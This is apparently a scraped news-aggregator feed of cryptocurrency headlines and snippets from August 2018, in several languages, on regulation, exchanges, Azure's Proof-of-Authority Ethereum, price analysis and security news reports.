El principal problema para Finma es que muchos de los tokens de criptomonedas se consideran valores, y para manejar valores como intermediario en Suiza, una empresa necesita obtener una licencia de intermediario, que al parecer nadie en Suiza dentro de la industria de cifrado tiene a este respecto. escenario. "Finma diferencia los tokens de pago, los tokens de utilidad y los tokens respaldados por activos. Los tokens de pago y utilidad no se consideran valores ", dijo a news.Bitcoin.com Yassine Ben Hamida, un ex banquero suizo que ahora está completamente involucrado en proyectos de cifrado, durante una entrevista telefónica en Suiza. "El problema es que necesita tener una licencia de corredor / distribuidor para manejar los tokens que se consideran valores", confirmó.
Los bancos suizos son clientes y activos de criptografía integrados
A Crypto Broker, que pertenece a Crypto Finance AG, no se le otorgó la licencia del distribuidor de seguridad de Finma, ya que la compañía no está negociando tokens de seguridad en este momento, dijo su director general en un correo electrónico. Sin embargo, la compañía está en proceso de obtener la licencia, se confirmó a news.Bitcoin.com.
Crypto Fund, un administrador de activos que también forma parte de Crypto Finance Group, es la primera compañía en Suiza que puede distribuir fondos extranjeros a "inversores calificados" o personas llamadas de alto patrimonio. Pero no son los únicos, dicen las fuentes involucradas en el mundo criptográfico suizo, porque supuestamente hay muchas empresas independientes suizas que lanzaron certificados para invertir en criptografía. "Este es uno de nuestros primeros hitos, porque finalmente nos estamos moviendo para convertirnos en un administrador de activos con licencia y un corredor. Crypto Finance Group aspira a convertirse en el proveedor de tecnología e inversión más avanzado y seguro del mundo ", dijo Mark Bernegger, que también es miembro de la junta directiva de Crypto Finance Group, a news.Bitcoin.com en un comunicado.

Custodia: cómo se pueden mantener los activos de cifrado en los bancos

Los principales medios informaron recientemente que Goldman Sachs está considerando un plan para ofrecer la custodia de los fondos criptográficos, sin citar ninguna fuente sólida. Según los informes, se cree que los japoneses Nomura, Bank of New York Mellon, JP Morgan Chase y Northern Trust están trabajando o explorando ofertas de custodia. En Suiza, actualmente no hay bancos que ofrezcan servicios de depósito de esos valores. Sin embargo, este es un mercado que se desarrollará rápidamente, según un ex ejecutivo de UBS y también ex ejecutivo de Julius Baer en Suiza.
Gazprombank Switzerland Ltd. , un banco ruso de propiedad estatal, y el tercero más grande del país por activos,  también está investigando el servicio de custodia de activos de criptomonedas y trabajando con auditores y con Finma, según fuentes cercanas al asunto. Sin embargo, el banco no pudo hacer ninguna declaración oficial sobre el tema en esta etapa, dijo una portavoz a news.Bitcoin.com.


          Cryptocurrency Market Valuations Hit The Rock Bottom For 2018      Cache   Translate Page   Web Page Cache   
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          Microsoft’s New Ethereum Blockchain Product       Cache   Translate Page   Web Page Cache   
Microsoft enters the fray here.   Intriguing notion of proof of authority vs Proof of work.  Examining implications.

Microsoft’s New Ethereum Blockchain Product Gets Rid of Mining

Software giant Microsoft has debuted a new Blockchain as a Service (BaaS) product that allows businesses across industry verticals to deploy a flexible instance of Ethereum tailored specifically for enterprise environments.

Announced on Tuesday, Ethereum Proof-of-Authority on Azure allows enterprises to build applications on an Ethereum blockchain that is not secured by a Proof-of-Work (PoW) consensus algorithm and consequently does not require mining — features that are better suited for networks in which participants do not trust one another.

PoW “works great in anonymous, open networks where cryptocurrency promotes security on the network,” said Azure Global software engineer Cody Born. “However, in private/consortium networks the underlying ether has no value.”

Born explained that, since all participants on an enterprise blockchain network are known and reputable, governance can be separated from network operation.  ... " 

Background:

https://en.wikipedia.org/wiki/Ethereum

https://azuremarketplace.microsoft.com/en-us/marketplace/apps/microsoft-azure-blockchain.azure-blockchain-ethereum?tab=Overview



          Advanced SystemCare Ultimate 11.1.0.72      Cache   Translate Page   Web Page Cache   
Advanced SystemCare Ultimate 11 is a powerful and full-scale antivirus utility for PC security and performance. It provides a one-stop solution to clean, optimize, speed up, and protect your system. With the new IObit Anti-ransomware Engine and the world-leading antivirus engine Bitdefender, Advanced SystemCare Ultimate 11 brings PC security to a higher level. It not only prevents your files from being encrypted by hackers and illegal access by third-party programs, but also protects your PC against various viruses and malware. Advanced SystemCare Ultimate 11 also optimizes and enhances several important protections like FaceID, Homepage Advisor, and Surfing Protection & Ads- Removal to better secure your privacy and provide ads-free online surfing. Meanwhile, Advanced SystemCare Ultimate 11 offers you 1-click approach to achieve top PC performance. The redesigned Performance Monitor monitors and displays your PC's RAM/CPU/Disk usage, CPU/GPU/Mainboard temperature, and fan speed more accurately in real-time. What's more, it allows you to quickly end the processes that slow down your PC to make it more responsive and run faster. What's new: + Bigger database to remove more virus, ransomware, spyware, etc. for a more secure PC. + Upgraded Surfing Protection & Ads Removal to block Cryptocurrency Mining and avoid high CPU usage caused by this. + Enhanced Privacy Sweep to support Chrome 65.0, Firefox 59.0, Opera 52.0, VLC Media Player 3.0, Adobe Flash Player 28.0, and more. + Strengthened Junk File Clean to support Dropbox 44.4, SUPERAntiSpyware 6.0.1254, TeamViewer 13.0, Avira Free Antivirus 15.0.33, Glary Utilities 5.88, and more. + Expanded the database of Startup Optimization, Startup Manager, Real-time Protector, and Surfing Protection & Ads Removal. + Newly supported to start a scan directly from Performance Monitor. + Optimized the scan algorithm of AutoCare. + Optimized the stability of Homepage Advisor. + Fixed all known bugs. + Updated multiple languages.
          Blockchain-based Social Media Foresting HQ Builds a Bridge to Advance into Asian Market - Investment MoU with the global exchange BitForex      Cache   Translate Page   Web Page Cache   

SEOUL, South Korea, Aug. 9, 2018 /PRNewswire/ -- BitForex, the cryptocurrency exchange, announced that the company signed a strategic business agreement on investment with Foresting HQ on August 7, 2018. BitForex is a global exchange trading with 84 cryptocurrencies surpassing Binance,...


          The Scope of Cryptocurrency Technology in India      Cache   Translate Page   Web Page Cache   

In addition to the day-to-day politics, if there is any news which haunts the television shows in India, it is cryptocurrency. In order to have an idea about the scope of cryptocurrency in India, it is equally important to go into the depths of its evolution. It has gained acceptance all over the finance sector. […]

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          Bitcoin analysis for 09/09/2018      Cache   Translate Page   Web Page Cache   

The agent of the US Drugs Agency (DEA) noted that the role of Bitcoin in crimes dropped to only 10 percent of transactions, while the number of transactions themselves increased dramatically - criminal activity using cryptocurrencies has fallen by 80 percent since 2013.

In the interview for one of the financial television, Special Agent DEA Lilita Infante - who is a member of the 10-member Cybercriminal Taskforce - said that the ratio of legal to illegal Bitcoin transactions in the last five years has turned: "The volume increased enormously, the number of transactions and the value of the dollar increased tremendously in the last years of criminal activity, but the ratio decreased".

The concept of criminals using cryptocurrencies as an alternative to cash has traditionally been the main argument used by those critical of the future of Bitcoin. Regulators also addressed the perception of using cryptocurrencies for illegal purposes, often related to terrorism and money laundering.

As the popularity of Bitcoin increased, the overwhelming majority of activity began to constitute a legal trade. Infante notes that most transactions are used for price speculation. She added that although focused on the privacy of altcoins are less fluid and more anonymous than Bitcoin, DEA still has ways to track currencies such as Monero and Zcash.

At the US House of Representatives' public meeting on digital resources in mid-July, Andreessen Horowitz, managing partner of Scott Kupor, suggested that Bitcoin is the best friend of law enforcement agencies because of the ability to track illegal transactions on Blockchain.

Let's now take a look at the Bitcoin technical picture at the H4 time frame. The market has plummeted to the level of $6,087, which is just above the technical support at the level of $6,034. Then the price bounced to $6,344 where the nearest technical resistance is, but the bearish pressure is still present on market. In a case of a further decrease, the next target level for bears is seen at $5,728.

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          Explaining Multi-Cryptocurrency Payment Gateways      Cache   Translate Page   Web Page Cache   
A general misconception with digital currency, which also creates confusion amongst the population, is that cryptocurrencies transactions are not easy, and are usually difficult to process and much more difficult to understand. The misunderstanding of such notions can be cleared by the awareness of Cryptocurrency exchanges, Cryptocurrency Wallets, and Multi-Cryptocurrency Payment Gateways. Payment Gateways- Business Model Before you get into the mode of understanding- multi-Cryptocurrency payment gateways you should be aware of what are Payment Gateways? They are on-line pages which capture the data of payment instrument between a merchant and consumer. They are usually the checkout pages, for such transactions, and capture the data in encrypted form and pass it to the payment processor. The processor, in turn, verifies or authenticates it and does the settlement of funds. You may come across various Payment Gateways like- APIs Like- Coinbase, which can be embedded in the client s website.
          BeQuant crypto exchange for professional traders goes live      Cache   Translate Page   Web Page Cache   
BeQuant, the cryptocurrency exchange for institutions and active traders, has today announced its gl... Reported by Finextra 26 minutes ago.
          Cryptocurrencies Reach Lowest Point In 2018, IOTA, Aeternity Among Top Losers      Cache   Translate Page   Web Page Cache   
This week, the cryptocurrency market took a full-on downturn towards key support levels on Wednesday after the SEC decided to delay their decision-making on the first Bitcoin ETF. The biggest loser in the top 100 major cryptocurrencies by market cap was Aeternity (AE) which lost 22%. In top 10, IOTA (MIOTA) was the losers champ with a 17% loss. There were three, not-so-famous cryptos in top 100 which actually saw minor gains. Those include MOAC, ZClassic, and ODEM, seeing gains somewhere between 1.70% and 0.42%. For many cryptocurrencies, Wednesday’s lows brought them to their lowest point in 2018, mainly to the levels that were seen right before the crypto craze of 2017 which pushed them into a bubbly surge. IOTA, for example, is fast approaching its pre-bubble average price level of 2017 at around $0.47 at the time of filming. Just like most other cryptos at this point, IOTA/USD is ...
          Reactie op Cryptocurrency is zo ontzettend veel meer dan alleen maar Bitcoin door Micky van Leeuwen      Cache   Translate Page   Web Page Cache   
Sterkte man! Zal zeker niet meevallen om in jouw schoenen te moeten staan en de weerld zo zwartgallig en zuur te moeten ervaren... cheer up buddy, het is glas is nog altijd half vol, niet half leeg! ;)
          Reactie op Cryptocurrency is zo ontzettend veel meer dan alleen maar Bitcoin door Satoshi Nakamoto      Cache   Translate Page   Web Page Cache   
"Cryptocurrency decentraliseert en geeft de macht terug aan het volk. Power to the people dus!" Yeah right.. Dream on Micky Dream on. Want vraag jezelf nu eens objectief af.. "aan wie behoort de eigenlijke macht toe"? Niet aan de Bitcoin of andere Cryptocurrency (manipulatoren) maar aan een van de onderliggende technologieën zoals: A - STROOM-BOEREN: Zonder stroom = geen computer, geen internet, niks crypto-gedoe B - HARDWARE BOEREN: Zonder computer, smartphone of anderen cryptocurrency hardware (wallets) heb je geen opslag en verhandel mogelijkheid van je digi-centjes. C - INTERNET SERVICE PROVIDERS: Zonder internet verbinding is er geen crypto-currency uitwisseling mogelijk. D - BLOCKCHAIN PLATFORM LEVERANCIERS: Zonder hen is er geen geen financieel-waarde-transport en verificatie van transacties mogelijk. Dus... Open your mind a bit further beyond the value-only-mindframe en kijk dus effu verder dan alleen de geld-waarde van "Bitcoins"en andere vormen van overhypte crypte-currencies. "Bitcoin$" zijn eigenlijk alleen maar digitale ACCESS-TOKENS en hebben (bijna) niets meer van doen met financiële waarde uitwisselingen. Dan kun je ook gaan zien dat dit gehele digi-circus slechts een digitaal middel is om het huidige (economische, financiële) machts-evenwicht te verschuiven: - van uit de handen van het oude Centrale Banken kartel. - naar een andere underlying-technology partijen toe, maar nooit (terug) naar de mensen van dit digitale gebakken bit-lucht systeem ;-)
          Ethereum Proof-of-Authority on Azure      Cache   Translate Page   Web Page Cache   

We’ve had great traction with our support of Ethereum on Azure. The existing Proof-of-Work solution has been deployed tens of thousands of times across a variety of industry verticals. Through the extensive development on our platform, we’ve received great feedback from the community that has helped us shape our next Ethereum ledger product. I’m excited to announce the release of Ethereum Proof-of-Authority on Azure .

Proof-of-Authority

Proof-of-Work is a Sybil-resistance mechanism that leverages computation costs to self-regulate the network and allow fair participation. This works great in anonymous, open networks where competition for cryptocurrency promotes security on the network. However, in private/consortium networks the underlying ether has no value. An alternative protocol, Proof-of-Authority, is more suitable for permissioned networks where all consensus participants are known and reputable. Without the need for mining, Proof-of-Authority is more efficient while still retaining Byzantine fault tolerance.

Enterprise-ready

We’ve built this solution with the same principles that we drive in all our production services at Microsoft. In Proof-of-Authority, each consensus node on the network has its own Ethereum identity. In the case that a node goes down, it’s important that the member doesn’t lose consensus participation. Ideally, each member would run redundant consensus nodes to ensure a highly available network presence. To accomplish this, we’ve built an abstraction which allows each consensus participant to delegate multiple nodes to run on their behalf. Each Azure Proof-of-Authority network comes with our identity leasing system that ensures that no two nodes carry the same identity. In the case of a VM or regional outage, new nodes can quickly spin up and resume the previous nodes’ identities.

Web Assembly Smart Contracts

Enterprise developers often cite Solidity language as one of the largest pain points when developing on Ethereum. To address this, we’ve enabled Parity’s web-assembly support, allowing developers to author smart contracts in familiar languages such as C, C++, and Rust.

Azure Monitor

This solution also comes with Azure Monitor to track node and network statistics. For application developers, this provides visibility into the underlying blockchain to track block generation statistics. Network operators can use Azure Monitor to quickly detect and prevent network outages through infrastructure statistics and queryable logs.


Ethereum Proof-of-Authority on Azure
Extensible governance

Many of our customers want to participate in a consortium, but don’t want to manage the network infrastructure. We’ve leveraged Parity’s highly extensible Proof-of-Authority client to build a level of abstraction that allows our users to separate consortium governance from network operation. Each consortium member has the power to govern the network and can optionally delegate the consensus participation to the operator of their choosing. The Proof-of-Authority deployment comes with a Governance DApp to simplify voting and validator delegation. With this solution, each consortium member has custody over his or her own keys, allowing secure signing to be performed in the wallet of preference, for example, MetaMask in-browser wallet, Ledger hardware wallet, or Azure Key Vault with ECC signing.

Governance DApp features Decentralized governance - Changes in network authorities are administered through on-chain voting by select administrators. Validator delegation - Authorities can manage their validator nodes that are setup in each PoA deployment. Auditable change history - Each change is recorded on the blockchain, providing transparency and auditability.
Ethereum Proof-of-Authority on Azure

Figure 1: Governance DApp allows for on-chain consortium management.

We’re excited to see the new applications that our customers build with Ethereum Proof-of-Authority in Azure . Check out ourdeployment guide to get started and learn more about the architecture and consortium governance.


          Bitcoin analysis for 09/09/2018      Cache   Translate Page   Web Page Cache   

The agent of the US Drugs Agency (DEA) noted that the role of Bitcoin in crimes dropped to only 10 percent of transactions, while the number of transactions themselves increased dramatically - criminal activity using cryptocurrencies has fallen by 80 percent since 2013.

In the interview for one of the financial television, Special Agent DEA Lilita Infante - who is a member of the 10-member Cybercriminal Taskforce - said that the ratio of legal to illegal Bitcoin transactions in the last five years has turned: "The volume increased enormously, the number of transactions and the value of the dollar increased tremendously in the last years of criminal activity, but the ratio decreased".

The concept of criminals using cryptocurrencies as an alternative to cash has traditionally been the main argument used by those critical of the future of Bitcoin. Regulators also addressed the perception of using cryptocurrencies for illegal purposes, often related to terrorism and money laundering.

As the popularity of Bitcoin increased, the overwhelming majority of activity began to constitute a legal trade. Infante notes that most transactions are used for price speculation. She added that although focused on the privacy of altcoins are less fluid and more anonymous than Bitcoin, DEA still has ways to track currencies such as Monero and Zcash.

At the US House of Representatives' public meeting on digital resources in mid-July, Andreessen Horowitz, managing partner of Scott Kupor, suggested that Bitcoin is the best friend of law enforcement agencies because of the ability to track illegal transactions on Blockchain.

Let's now take a look at the Bitcoin technical picture at the H4 time frame. The market has plummeted to the level of $6,087, which is just above the technical support at the level of $6,034. Then the price bounced to $6,344 where the nearest technical resistance is, but the bearish pressure is still present on market. In a case of a further decrease, the next target level for bears is seen at $5,728.

analytics5b6bd1ad92da7.jpg

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          Project Manager Head of PMO      Cache   Translate Page   Web Page Cache   
CA-MENLO PARK, Job Description We are an exciting start-up company founded by proven leaders with repeated success in the technology space. Our newest company is developing a cryptocurrency platform based on an open-source third generation blockchain that we’re creating. Our goal is to set a new standard in security and protection for our end users and community. We’re looking for an experienced project manager
          Record pace in crypto fund launches bring total to now 466      Cache   Translate Page   Web Page Cache   
: It appears that the bear market, falling cryptocurrency prices and an uncertain regulatory environment during the first seven months of 2018 did not stop 96 new crypto hedge funds and venture capital funds from getting launched. <P> If this trend that translates to an annual pace of 165 is any indication, we are on pace to break the record set in 2017 when 156 crypto funds were lau...
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          EOS Price: Decline Continues as Sellers Retain Control of the Market      Cache   Translate Page   Web Page Cache   
The current momentum across all cryptocurrency markets does not instill any degree of confidence. All markets are still in the red, primarily because of the Bitcoin price suffering from a major setback in the past 48 hours. Although the momentum seems to improve, the going remains tough for ... Reported by The Merkle 17 minutes ago.
          8/9/2018: FINANCIAL POST: Crypto’s US$600B crash hits a new low      Cache   Translate Page   Web Page Cache   
The 2018 sell-off in cryptocurrencies plumbed new depths on Wednesday after the U.S. Securities and Exchange Commission dented enthusiasts’ hopes for a VanEck exchange-traded fund backed by Bitcoin. A broad sell-off in coins of all sizes reduced the...
          Crypto World Journal tries to reverse domain name hijack CWJ.com      Cache   Translate Page   Web Page Cache   

Domain Name Wire Domain Name Wire: Company goes after valuable domain name that was registered before it existed. Crypto World Journal Inc, which operates a news site about cryptocurrency and blockchain, has been found to have engaged in reverse domain name hijacking in its attempt to get the domain name CWJ.com. The domain name was purchased by a Chinese domain name […]
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          Bitcoin and cryptocurrency round-up 9 August 2018      Cache   Translate Page   Web Page Cache   
Read about the 2018 low, Tezos' suit, IOTA drama, crypto on the rise in Iran, Havven hedging and Ethereum's price analysis.
          Cryptocurrency, cryptojacking on the rise in Iran as sanctions loom      Cache   Translate Page   Web Page Cache   
With the rial getting hammered, Iranians are looking at crypto.
          Shift Markets Partners with Stellar to Expand Lumens in Emerging Markets      Cache   Translate Page   Web Page Cache   

NEW YORK, Aug. 9, 2018 /PRNewswire/ -- Shift Markets, whose market platform is a turn-key solution to starting a cryptocurrency exchange or brokerage, announced a partnership with Lightyear to support the integration of Stellar technology. Since SHIFT currently services over 60 crypto...


          Bitcoin Plunges as ETF Blocked      Cache   Translate Page   Web Page Cache   
New York We do not cover Bitcoin very much but we thought it would be worthwhile to give an update today especially as advisors may have some clients who are very interested in the area Most are aware that the cryptocurrency has plunged from late last year but had
          8/9/2018: FINANCIAL POST: Crypto’s US$ 600B crash hits a new low      Cache   Translate Page   Web Page Cache   
The 2018 sell-off in cryptocurrencies plumbed new depths on Wednesday after the U.S. Securities and Exchange Commission dented enthusiasts’ hopes for a VanEck exchange-traded fund backed by Bitcoin. A broad sell-off in coins of all sizes reduced the...
          Cryptocurrency Primed to Restructure Future of Financial Transaction      Cache   Translate Page   Web Page Cache   

Cryptocurrency Market (Component - Hardware (FPGA, GPU, ASIC, and Wallet), Software (Mining Platform, Blockchain, Coin Wallet, Exchange); Type - Bitcoin, Ethereum, Ripple (XRP), Litecoin, and Dashcoin) - Global Industry Analysis, Size, Share, Growth, Trends and Forecast 2017 - 2025

Albany, NY -- (SBWIRE) -- 08/08/2018 -- Akin to credit cards, the concept of cryptocurrency was not easily digested by its targeted audiences but in the past couple of years, its usage and value has multiplied exponentially. With an assurance of tracking down all monetary transactions at its backbone, cryptocurrencies with Blockchain Technology such as Bitcoin and Ether are primed to revolutionize a number of industries.

The prosperity of the cryptocurrency market has been reassured by a recent business intelligence publication by Transparency Market Research (TMR), which has projected the global demand to increment at an exceptional compound annual growth rate (CAGR) of 31.3% during the forecast period of 2017 to 2025. In terms of revenue, the TMR report has estimated the opportunities in the global cryptocurrency market to attain a value of US$6.7 billion by 2025. Here are some of the key drivers or benefits of cryptocurrency that are primed to stroke the demand for the same:

Browse The Report:https://www.transparencymarketresearch.com/cryptocurrency-market.html

Protection against frauds: The primary benefit with cryptocurrency is that it functions as a digital platform that is immune to counterfeiting or reversal arbitrarily by the sender or receiver. This attribute is turning cryptocurrency a major boost to the banking, financial services, and insurance (BFSI) sector, although a number of other sectors can also leverage it.

Property settlements made easy: Invariably, purchasing or selling real estate properties requires the involvement of quite a few third parties such as notary, lawyers, and brokers, for which tracking down of the fee payments is paramount as well as tiresome job. Cryptocurrency has the potential to eliminate the requirement of approval from third parties.

Reduced costs: As of now, the cryptocurrency miners are paid by the network, which means there are no transaction fees, as changed exuberantly by the banking sector. Acting similar to how Paypal serves its credit card and cash users, a log of each transaction is available anytime for trackback.

Accessible to everyone: More than two billion people across the world are now connected via the Internet, and the number is surging consistently on the back of growing ubiquity of smartphones. Individuals are now opting for mobile payment options for the ease they offer against carrying cash or card. Cryptocurrency is the technology that is expected to be adopted strongly by the mobile payment service providers in the near future.

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Universal recognition: Cryptocurrency promises to overcome the bonds of exchange rates, transaction charges, interest rates, and other charges when money is wired across countries. This not only curtails the overall cost, it can also aid in saving lots of time in between.

According to the TMR report, Bitcoin is the leading component of the cryptocurrency market that is currently dominating, although some of the others such as Litecoin, Ripple, Ethereum, and Namecoin are also gaining popularity slowly but surely. Intel Corporation, Microsoft Corporation, Advanced Micro Devices, Inc., BTL Group Ltd., Xilinx Inc., BitGo, Alphapoint Corporation, NVIDIA Corporation, and BitFury Group Limited are some of the notable companies currently holding a prominent position in this market. Geographically, North America is expected to retain its dominance throughout the aforementioned forecast period.

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          Can Emerging Solutions Tame the Rising Wave of Fraud in the Crypto Industry?      Cache   Translate Page   Web Page Cache   
by David Drake Growth of the cryptocurrency industry has led to an increase of fraudulent projects that falsify information in order to attract investors. Crypto-flare is one such project. Recently, I noted that the project has flagrantly faked its advisors and management.The site alleges that Saars Levi is its CEO and co-founder , and lists me as an advisor alongside Pialy Aditya in a attempt to give unsuspecting investors confidence in their product. I spoke to Levi and Aditya and confirmed
          IBM and Maersk launch blockchain to reduce shipping time and costs      Cache   Translate Page   Web Page Cache   

Cargo shipping giant Maersk and IBM announced TradeLens, a technology that applies blockchain technology to world’s global supply chain. TradeLens takes advantage of blockchain, a decentralized public ledger behind tech such as cryptocurrency — to enable global trade to be more efficient and secure. More than 94 companies and organizations are supporting the project in […]


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Hello, everybody! I have a small cryptocurrency exchange website, I need to translation it to the following languages. Required languages : Russian, Spanish, Romanian, Portuguese, and Italian. this job posted on the mobile, so that please pardon me missing details... (Budget: $250 - $750 USD, Jobs: English (US), Italian, Russian, Spanish, Translation)
          Waves of good news for Ripple’s XRP, price still keeps dipping, when moon?      Cache   Translate Page   Web Page Cache   
A Blue Ocean For TRON (TRX)

Ripple’s XRP was last year’s best performing coin so as the current year started, it had gained credibility, and much was expected from it. So far it’s been relatively shaky (which is no mean feat in a market that’s been bearish for 7+ months now), but it’s performed more or less in the same way […]

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          Canaan Unveils 7nm Chip Equipped Miner at Press Conference      Cache   Translate Page   Web Page Cache   

At a recent press conference, the world’s second largest manufacturer of bitcoin mining rigs, Canaan Creative, revealed four new products. In addition to the recently reported bitcoin mining television set, the company will launch a 7nm chip-equipped 30T Avalonminer A9, a Litecoin Avalonminer, and a household heater miner. Also Read: Bitmain Offers Wi-Fi Routers Mining Cryptocurrencies […]

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          Japanese Financial Services Agency to Tighten Regulations on Crypto Investing      Cache   Translate Page   Web Page Cache   

The Japanese Financial Services Agency has announced plans to more strictly regulate speculative investments in cryptocurrencies, according to a new report from the Japan Times. The regulatory tightening allegedly comes as a result of the $530 million Coincheck hack that took place in January. The proposed changes to existing laws would bring cryptocurrency exchanges under […]

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          Bitmain Ofrece Routers Wi-Fi Para Minar Criptomonedas      Cache   Translate Page   Web Page Cache   

¿Alguna vez has pensado en minar criptomonedas mientras navegas por la web sin ser víctima de algún tipo de malware? Si es así, Bitmain tiene una oferta que podría interesarte. El gigante chino de la minería de criptos acaba de anunciar que ofrece un par de routers Wi-Fi capaces de minar monedas digitales mientras estas […]

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          Will DashDonates Really Make Outsiders Want to Invest in Dash?      Cache   Translate Page   Web Page Cache   

Dash coin (DASH) has announced the launch of DashDonates, a new crowdfunding resource that will make it easier to invest in emerging projects and, according to its developers, boost the value of DASH. With the price charts making for somber reading in recent months, the company is hoping the new funding system will encourage more […]

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          Cryptos to watch from now until 2020: XRP, Stellar, Cardano, DigiByte, Stratis      Cache   Translate Page   Web Page Cache   
A Blue Ocean For TRON (TRX)

If you like to keep updated with cryptocurrency news, you already know that everything everybody has been writing about for the past seven months is the current bearish market. It’s slow, most coins are losing value, and there is no end in sight. But is a long bearish run such a bad thing? I don’t […]

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          Ripple Price Could Soar Thanks to Bitcoin Superstore      Cache   Translate Page   Web Page Cache   

More innovations mean the price of Ripple (XRP) could rise in the coming months. Following positive developments in the regulatory sphere and some high-profile charity work, Ripple investors now have another reason to smile thanks to Bitcoin Superstore. Following a software update, the online retailer announced on August 6 that it will accept XRP payments. […]

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          15,000 Twitter Crypto Scam Giveaway Bots: Duo Security      Cache   Translate Page   Web Page Cache   

This week, researchers uncovered empirical data confirming what most in the crypto Twittersphere already know – the space if flooded with scam bots: 15,000 of them to be exact, according to Duo Security. Also read: Queensland, Australia Invests Portion of its $6.1Mil Ignite Ideas Fund in Crypto Startup Researchers Find 15K Twitter Crypto Scam Giveaway […]

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          Lightning Network Grew by 85% in One Month, But Are We Closer to Adoption?      Cache   Translate Page   Web Page Cache   

News around the Bitcoin network has stayed relatively quiet lately. After Bitcoin’s epic rise and subsequent fall at the turn of the year, hodlers around the world have watched BTC quietly stagnate. There were a few dives into serious bear territory; there were a few false starts to what many hoped would be recovery. But […]

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          What will it take for Litecoin (LTC) to reach $1000 now?      Cache   Translate Page   Web Page Cache   
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Currently, we see the third-worst bear market in the crypto history (did you know?), and Litecoin (LTC) is presently at $63.81, this is an optimistic question to be sure. But let’s think about it anyway, and come up with a reasonable answer. If Litecoin reached the thousand dollar mark, that would need a market capitalization […]

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          Exchanges Round-Up: Goldman Considers Crypto Custody, SA Exchange Launches USDT      Cache   Translate Page   Web Page Cache   

In recent news pertaining to cryptocurrency exchanges, it has been reported that Goldman Sachs is considering exploring custody and other services pertaining to cryptocurrencies; a South African exchange has introduced Tether pairings in the hopes of driving down the local premium on crypto prices through offering arbitrage opportunities to foreign traders; and Blockex has announced […]

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          Study: ICO Market Doubled Since Last Year, Shows Increased Institutional Investment      Cache   Translate Page   Web Page Cache   

The Initial Coin Offering (ICO) market has more than doubled in a year according to ICORating’s ICO market report for the the second quarter of 2018, published August 8. ICORating is an independent rating agency that conducts independent analytical research evaluating ICOs and the ICO market. According to the report, ICOs in 2018 have already […]

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          Thai SEC: Interest Increases in ICO and Digital Asset Operations Licenses      Cache   Translate Page   Web Page Cache   

The Thai Securities and Exchange Commission (SEC) says they have seen increased interest in licenses to operate initial coin offerings (ICOs) following the Finance Ministry’s announcement to introduce ICO regulations, the Bangkok Post reported August 8. The SEC secretary-general Rapee Sucharitakul told the Bangkok Post said that almost 50 ICO projects have expressed interest in […]

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          Report: Ready-to-Use Malware for Bitcoin ATMs Found for Sale Online      Cache   Translate Page   Web Page Cache   

Tokyo-based security software manufacturer Trend Micro has found Bitcoin (BTC) automated teller machine (ATM) malware available for purchase online, according to a blog post published August 7. In the blog post, Trend Micro cites an advertisement posted by an “apparently established and respected” user on a darknet forum. For the price of $25,000, criminals could […]

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          A Look at the Now Famous Bitcoin Whitepaper      Cache   Translate Page   Web Page Cache   

The digital economy is flourishing thanks in large part to the concepts laid out in Satoshi Nakamoto’s Bitcoin whitepaper. This whitepaper introduced the concept of a decentralized cryptocurrency to the market and ushered in the digitization of the global economy. Because of this, many people would argue that the Bitcoin whitepaper rightfully earns the title […]

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          Bitcoin-Friendly US Senate Candidate Defeated in Republican Primary Elections      Cache   Translate Page   Web Page Cache   

U.S. Senate candidate Austin Petersen, who is known for his Bitcoin (BTC) advocacy, lost the Republican primary election Aug. 7. According to unofficial results published by the Missouri Secretary of State, Petersen lost the battle to Attorney General Josh Hawley, who received 58.6 percent of the 663,553 votes. Hawley will go on to face to […]

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          Philippines Building Crypto Valley of Asia      Cache   Translate Page   Web Page Cache   

The Philippines government is building Crypto Valley of Asia, a cryptocurrency and fintech hub similar to the one in the canton of Zug, Switzerland. The estate will be built at the Cagayan Special Economic Zone and Freeport in partnership with private property developer Northern Star Gaming & Resorts Inc. The zone is already set to […]

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          Crypto Exchange Bittrex Expands Adds Ethereum Classic and XRP Trading Pairs      Cache   Translate Page   Web Page Cache   

Cryptocurrency exchange and wallet service Bittrex has announced plans to launch U.S. dollar (USD) trading pairs for two new cryptocurrencies, according to an official announcement published August 8. Per the announcement, Bittrex is looking to expand its fiat markets to Ethereum Classic (ETC) and Ripple (XRP) on August 20. The new trading pairs will be […]

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          Yale Research Proposes Factors for Crypto Price Prediction      Cache   Translate Page   Web Page Cache   

Yale University financial experts have suggested a system of factors to predict price trends in major cryptocurrencies, according to an official statement by YaleNews Aug. 6. The new study was conducted by Yale economist Aleh Tsyvinski and Yukun Liu, a Ph.D. candidate in the Department of Economics, and is reportedly the “first-ever comprehensive economic analysis […]

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When you say cryptocurrency in the Philippines, the first thing that comes up in their mind is "Bitcoin". And for some Filipinos' brain is some kind of another scam in the country. But if they will do more research about it, I'm sure they will find an easy way to trade their fiat into cryptocurrency such as Bitcoin, Ethereum,...

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          Un adolescente jugando al Doom en el monedero de bitcoines «imposible de hackear» de John McAfee      Cache   Translate Page   Web Page Cache   

Saleem Rashid, un joven de 15 años, es quien supuestamente ha sido capaz de echar una partida al videojuego Doom en el monedero de bitcoines "imposible de hackear" de John McAfee, Bitfi — que además resultó ser un móvil viejo al que le habían quitado la cámara y la ranura de la tarjeta SIM.

Según el propio McAfee, tal vez por orgullo, tal vez porque quiere ahorrarse los 100.000 dólares que ofreció de recompensa a quien lograra hackear su cacharro o tal vez porque tiene razón, "eso no es hackear el monedero. Obtener acceso de root en un intento de conseguir las monedas no es un hack. Es un intento fallido" porque "no se han sacado los bitcones."

Pero como le recuerdan en Twitter "ha quedado perfectamente claro que esto no es un monedero hardware y que por lo tanto no vale nada."

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          Facial recognition is Tokyo’s secret weapon to beat the heat at the 2020 Olympi ...      Cache   Translate Page   Web Page Cache   

The 2020 Tokyo Olympics plans to introduce facial recognition software at security checkpoints ― both to cut down on unauthorized people getting in and, probably more importantly, getting athletes out of the scorching heat as fast as possible.

Japanesecompany NEC Corp, the ones providing the tech, will use its softwareon athletes, staff, and media representative, with everyone’s pictures being taken ahead of time and stored in a database to be used at check points. Unlike previous Olympics, theTokyo show won’t necessarily be concentrated in one central area, meaning there will likely be far more checkpoints for athletes and personnel to pass through.

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NEC Corp won’t beusing the technology on the crowds ― the idea of which brings to mind the Chinese authorities who used the tech to identify a fugitive out of a massive concert crowd of 60,000 people.

There’s one other major factor in the use of this tech, which speeds up the entry process: Heat. According to the show’s executive director of security, Tsuyoshi Iwashita, the scorching summer hours necessitate allowing athletes to escape the sun as quickly as possible.

The key to Games security is to prevent unauthorised people or items from entering venues… This latest technology will enable strict identification of accredited people compared with relying solely on the eyes of security staff, and also enables swift entry to venues which will be necessary in the intense heat of summer.

